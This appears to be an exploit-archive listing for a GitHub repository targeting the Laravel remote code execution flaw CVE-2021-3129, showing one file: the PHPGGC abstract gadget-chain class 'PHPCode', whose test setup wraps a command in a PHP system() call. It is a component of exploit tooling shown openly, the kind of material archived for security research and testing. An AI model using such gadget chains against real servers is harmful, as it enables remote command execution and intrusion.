Exploit databaseDownload repository ZIP
GH-16376e4357f06350aba70a4970a8d451
shadowabi/laravel-cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
shadowabi/laravel-cve-2021-3129Revision 65bcf17e1ccb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lib/PHPGGC/GadgetChain/RCE/PHPCode.php
PHP · 583 bytes<?php
namespace PHPGGC\GadgetChain\RCE;
/**
* Class PHPCode
* Executes PHP code.
* @package PHPGGC\GadgetChain\RCE
*/
abstract class PHPCode extends \PHPGGC\GadgetChain\RCE
{
public static $type = self::TYPE_RCE_PHPCODE;
public static $parameters = [
'code'
];
public function test_setup()
{
# TODO file_put_contents() might be a better option here, but it'll work
# for now.
$command = $this->_test_build_command();
return [
'code' => 'system(' . var_export($command, true) . ');'
];
}
}